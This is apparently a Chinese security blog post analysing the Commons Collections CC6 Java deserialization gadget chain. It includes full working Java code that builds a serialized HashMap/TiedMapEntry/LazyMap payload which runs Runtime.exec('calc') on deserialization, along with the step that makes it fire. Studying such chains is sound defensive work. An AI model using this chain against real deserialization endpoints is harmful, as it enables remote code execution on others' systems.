前言

我们已经学习了CC1利用链,但是这条链在8u71版本之后就已经无法使用了,所以我们现在就要考虑能不能找一条没有被版本限制的利用链,这时候我们就要学习CC6了,CC6可以说就是CC1的升级版。

8u71sun文件下载地址:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

CC6利用链分析

在高版本中,之所有CC1无法利用的原因是LazyMapget方法无法在高版本中无法通过AnnotationInvocationHandler进行利用了,因为其readObject中的逻辑被修改

1667732643172

改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去,传进去的恶意Map不再执行setput操作,便无法触发transform

所以就需要寻找其他类中调用LazyMap.get方法,这里最终找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry,在其getValue方法中调用了map.get

1667734008274

而在这个类的hashCode方法调用了getValue方法

1667734337746

我们在之前已经学习过URLDNS的利用链(详情见之前文章,这里就不再赘述),我们知道其利用链主要是通过hashCode完成的,这里我们也可以采用这种思路

HashMap.readObject()
  HashMap.putVal()
    HashMap.hash()
      URL.hashCode()---->代码中替换为LazyMap.hashCode()

只不过这里我们需要将URL对象修改为LazyMap,只有这样才能执行他的hashCode方法

尝试编写测试代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map<String,String> map = new HashMap();

        Map lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test0");

        HashMap<Object,Object> outMap = new HashMap<>();
        outMap.put(tiedMapEntry,"test1");
        lazyMap.remove("test0");
        Class c = LazyMap.class;
        Field f = c.getDeclaredField("factory");
        f.setAccessible(true);
        f.set(lazyMap,transformerChain);
//        outMap.put("test","test");
        serialize(outMap);
        unSerialize("src/com/alexsel/CC6/ser.ser");
    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("src/com/alexsel/CC6/ser.ser"));
        objectOutputStream.writeObject(obj);
        objectOutputStream.flush();
        objectOutputStream.close();
    }

    // 反序列化
    public static Object unSerialize(String fileName) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(fileName));
        Object obj = objectInputStream.readObject();
        objectInputStream.close();
        return obj;
    }
}

这里有一个问题需要我们注意,也是我们在URLDNS分析中遇到的和这里是类似的问题,

1667736370921

1667736386191

我们向HashMapput了一个元素(至于为什么会走到这里,请对照URLDNS),当走到LazyMap.get方法的时候会修改LazyMapmap的值,因为正常情况下map中是是没有包含key变量这个键的,但是经过判断不存在这个键后,就会给map添加进去,当我们真正进行漏洞利用进到get方法中时,就无法执行factory.transform这个方法了,导致利用失败。

1667749879608

所以我们需要删除添加进去的元素,在代码中lazyMap.remove("test0");这行的功能就是删除多余添加的元素。

测试执行结果

1667752003263

总结

这一个利用链主要逻辑为两个已知的利用链组成,前半段是URLDNS利用链的前半段,后半段是CC1的后半段,结合这两个利用链我们很容易理解CC6如何利用。

最后修改:2022 年 11 月 11 日
如果觉得我的文章对你有用,请随意赞赏